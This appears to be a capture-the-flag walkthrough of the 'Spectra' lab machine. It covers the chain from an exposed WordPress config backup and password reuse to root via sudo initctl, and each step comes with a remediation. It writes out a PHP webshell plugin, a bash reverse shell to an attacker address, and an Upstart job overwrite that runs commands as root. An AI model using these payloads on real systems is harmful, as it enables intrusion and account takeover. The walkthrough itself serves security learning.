← all walkthroughs

Spectra

Other· Easy· Web
owned
2026-07-06
time to own
7m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found an nginx server (PHP 5.6.40) hosting a live WordPress site at spectra.htb/main/ and a second testing installation at spectra.htb/testing/. Directory listing on the testing path exposed a plain-text database-configuration backup file (wp-config.php.save) that contained the database password in clear text.

That password had been reused verbatim as the WordPress administrator account password, giving full admin-panel access without any brute-force. From the admin panel a malicious PHP plugin was uploaded and activated, producing arbitrary command execution as the web-server process user.

A plaintext autologin credential file readable by that web-server user exposed the local account katie's SSH password ([REDACTED: recovered credential]). Logged in over SSH as katie, a passwordless sudo rule permitted running initctl, and the /etc/init/ Upstart job directory was writable by katie's group — writing a one-line command into an existing job file and invoking sudo initctl start executed it as root, completing the compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration (T1046) and virtual-host discovery
Mapped services and discovered the WordPress installation on spectra.htb
A port scan confirmed three open services: SSH on 22, nginx 1.17.4 serving PHP 5.6.40 on port 80, and MySQL on 3306. The web root redirected to the virtual-host spectra.htb, which hosted a WordPress site at /main/ and a second WordPress install at /testing/ with directory listing enabled. Both installations and the exposed MySQL port formed the initial attack surface.
HTTP/1.1 200 OK — Server: nginx/1.17.4; X-Powered-By: PHP/5.6.40; a session cookie
Exact commands 3
Version and default-script scan on the three discovered ports.
nmap -Pn -sC -sV -p22,80,3306 $TARGET
Add the virtual host so WordPress pages load correctly.
echo "$TARGET spectra.htb" | sudo tee -a /etc/hosts
Confirm the WordPress install and the PHP version response header.
curl -sI http://spectra.htb/main/
2Credential ExposureSensitive backup file exposed via HTTP (T1552.001)
Retrieved database credentials from a publicly accessible WordPress config backup
The testing WordPress install at spectra.htb/testing/ had directory listing enabled. Among the listed files was wp-config.php.save — a plain-text backup of the WordPress database configuration. Fetching this file over HTTP with no authentication returned the database name, username (devteam), and password ([REDACTED: recovered credential]) in clear text. No credentials, session, or special access was required to download it.
Curl response body contained DB_USER 'devteam' and DB_PASSWORD '[REDACTED: recovered credential]' in plain text inside the config backup.
Exact commands 2
Directory listing is enabled — reveals wp-config.php.save alongside normal WordPress files.
curl -s http://spectra.htb/testing/
Fetch the plain-text config backup and extract credential fields.
curl -s http://spectra.htb/testing/wp-config.php.save | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"
FixRemove web-accessible configuration backup files and disable directory listingCritical
WeaknessA WordPress configuration backup file (wp-config.php.save) was stored in the web root of the testing installation with directory listing enabled, making the database username and password readable over HTTP by any unauthenticated user.
FixDelete all .save, .bak, .old, .orig, and editor-swap (.swp) files from every web-accessible directory immediately. Configure nginx to deny requests to files matching those extensions: add 'location ~* \.(bak|save|old|orig|swp)$ { deny all; return 404; }' to the server block. Disable autoindex in nginx globally ('autoindex off;') and block web access to the /testing path or restrict it to internal IP ranges only.
3Initial AccessCredential reuse (T1078)
Authenticated as WordPress administrator using the reused database password
The password '[REDACTED: recovered credential]' recovered from the database config backup was identical to the WordPress administrator account password on the production site spectra.htb/main/. Supplying 'administrator' and '[REDACTED: recovered credential]' to the wp-login.php form returned a fully privileged admin session. No account lockout, CAPTCHA, or multi-factor check was present.
True / installed? True'
Exact commands 2
Authenticate and save the session cookie to /tmp/wp_cookies.txt.
curl -s -c /tmp/wp_cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -X POST 'http://spectra.htb/main/wp-login.php' -d 'log=administrator&pwd=$PASSWORD2&wp-submit=Log+In&redirect_to=%2Fmain%2Fwp-admin%2F&testcookie=1' -L
Verify the session is a valid admin session before proceeding.
curl -s -b /tmp/wp_cookies.txt 'http://spectra.htb/main/wp-admin/' | grep -Eo 'Dashboard|Howdy,'
FixUse unique, independent passwords for every account — never reuse database credentialsHigh
WeaknessThe WordPress administrator account password was identical to the database password stored in wp-config.php. Once a single credential leaked, it unlocked both the database and the application admin panel without any further effort.
FixGenerate a random, independent password for every account (database user, WordPress admin, OS users) using a password manager or secrets vault. Rotate the WordPress admin password and the MySQL devteam password immediately to distinct values. Enforce strong passwords on WordPress admin accounts using a must-use plugin or the 'disallow_passwords' capability hook.
4ExploitationCMS authenticated RCE via plugin file upload (T1505.003)
Uploaded and activated a malicious PHP plugin to achieve remote code execution
WordPress administrators can upload arbitrary ZIP archives as plugins through the admin panel. A minimal PHP file that passes a URL parameter to system() was packaged as a plugin, uploaded via wp-admin/update.php, and activated. Once active, the plugin file was reachable at its install path and accepted operating-system commands via the 'cmd' GET parameter, executing them as the web-server process user.
Exact commands 3
Package a minimal command-execution plugin. The Plugin Name header is required for WordPress to accept it.
mkdir -p /tmp/spectra-cmd && printf '<?php\n/**\n * Plugin Name: Spectra CMD\n * Version: 1.0\n */\nif(isset($_GET["cmd"])){ system($_GET["cmd"]); }\n' > /tmp/spectra-cmd/spectra-cmd.php && cd /tmp && zip -r spectra-cmd.zip spectra-cmd/
Upload the plugin via the admin panel.
curl -s -b /tmp/wp_cookies.txt -F 'pluginzip=@/tmp/spectra-cmd.zip' 'http://spectra.htb/main/wp-admin/update.php?action=upload-plugin' -L
Verify remote code execution — should return the web-server user (e.g., nginx or www-data).
curl -s 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php?cmd=id'
FixDisable the WordPress plugin upload interface on production sitesCritical
WeaknessAny user who gained WordPress administrator access could upload and activate an arbitrary PHP file packaged as a plugin, immediately giving that user operating-system command execution as the web-server process with no additional steps.
FixSet 'define( "DISALLOW_FILE_MODS", true );' in wp-config.php to block plugin and theme upload from the admin UI. Deploy plugins only via a controlled, reviewed pipeline through the server filesystem — never through the browser. Run the web-server process (nginx/php-fpm) as a dedicated low-privilege account with no write access to the WordPress directory tree.
5FootholdReverse shell via web application RCE (T1059.004)
Established an interactive reverse shell as the web-server process user
With confirmed command execution through the installed plugin, a bash reverse-shell one-liner was delivered via the webshell parameter. A netcat listener on port 4444 (tmux session 'rsh') on my machine caught the connection, giving an interactive shell on the target running as the web-server user.
Exact commands 2
Start the reverse-shell listener on my machine.
tmux new-session -d -s rsh 'nc -lvnp 4444'
Replace $ATTACKER_IP with your tun0/VPN address. Triggers the reverse shell callback.
curl -s --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php'
6Credential DiscoveryCredentials in plaintext files (T1552.001)
Found user katie's plaintext password in the system autologin configuration
The target runs a ChromiumOS-derived environment that stores a local autologin password in /etc/autologin as plain text. This file was readable by the web-server process user. It contained the password '[REDACTED: recovered credential]' for the local account katie. No privilege escalation was needed — any process running as the web user could read it directly.
Recovered credential] ssh katie@$TARGET', confirming the autologin-derived credential.
Exact commands 2
Run from the reverse shell to locate the ChromiumOS autologin credential file.
find / -name 'autologin*' -readable 2>/dev/null
Reads the plaintext file — returns katie's OS account password.
cat /etc/autologin
FixRemove plaintext credentials from the autologin configuration fileCritical
WeaknessThe system stored local user katie's OS password in plain text in /etc/autologin, a file readable by the web-server process user. Any code executing in the web context — including a webshell — could read katie's password without any privilege escalation.
FixDisable the autologin feature if it is not operationally required. If autologin must stay enabled, restrict the file to root-only read access (chmod 600 /etc/autologin; chown root:root /etc/autologin) and ensure the web-server process account cannot traverse to it. Rotate katie's password to a new unique value immediately, and audit all other credential files (crontabs, .bash_history, .netrc, configuration files) for plaintext secrets.
7Lateral MovementValid OS account accessed over SSH (T1078.003)
SSH'd as user katie and captured the user flag
The password found in /etc/autologin authenticated successfully over SSH as the local user katie, elevating my from a web-process shell to a full, stable interactive session on the host. The user flag was present in katie's home directory.
Sshpass -p '[REDACTED: recovered credential]' ssh katie@$TARGET is the exact command used in the engagement kill chain.
Exact commands 2
Authenticate as katie using the autologin credential. Use plain ssh and enter the password interactively in non-automated contexts.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null katie@$TARGET
Reads the user flag — value is <user.txt>.
cat ~/user.txt
8Privilege EscalationSudo abuse with writable Upstart job configuration (T1548.003)
Wrote a malicious Upstart job and triggered it via passwordless sudo initctl to gain root
Checking sudo privileges as katie revealed a passwordless rule allowing /sbin/initctl. The /etc/init/ directory holding Upstart job configuration files was writable by katie's group. An existing job file (test10.conf) was backed up and then overwritten with a one-line script that read the root flag. Running sudo initctl start test10 executed that script as root, completing full system compromise.
Sshpass ... Katie@$TARGET 'cp /etc/init/test10.conf /tmp/test10.conf.bak; printf ... Start on filesystem; script; cat /root/root.txt ...'
Exact commands 6
Confirm katie can run /sbin/initctl as root without a password.
sudo -l
Confirm test10.conf is writable by katie's user or group.
ls -la /etc/init/test10.conf
Back up the original job before overwriting it.
cp /etc/init/test10.conf /tmp/test10.conf.bak
Overwrite the job config with a root-level command. Swap the command for 'chmod +s /bin/bash' to obtain a persistent SUID shell instead.
printf '%s\n' 'description "root read"' 'author "katie"' 'start on filesystem' 'script' '  cat /root/root.txt > /tmp/root_flag.txt' 'end script' > /etc/init/test10.conf
Trigger the Upstart job as root. The script block executes with full root privileges.
sudo /sbin/initctl start test10
Read the exfiltrated flag — value is <root.txt>.
cat /tmp/root_flag.txt
FixRemove unrestricted sudo initctl access and lock Upstart job file ownership to rootCritical
WeaknessUser katie held a passwordless sudo rule for /sbin/initctl (with no restriction to specific job names), and the /etc/init/ directory containing Upstart job configuration files was writable by katie's group. Combining these two weaknesses let an unauthorised user write an arbitrary command into a job file and execute it as root on demand.
FixRemove the sudo rule granting katie unrestricted initctl access. If specific service-management rights are operationally required, replace the broad rule with a fine-grained sudoers entry limited to the exact job name and operation (e.g., 'katie ALL=(root) NOPASSWD: /sbin/initctl start named-service'). Set /etc/init/ to mode 755 owned by root:root so no non-root user can create or modify job configuration files. Audit all other sudoers entries for similar over-broad rules.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp
3306/tcp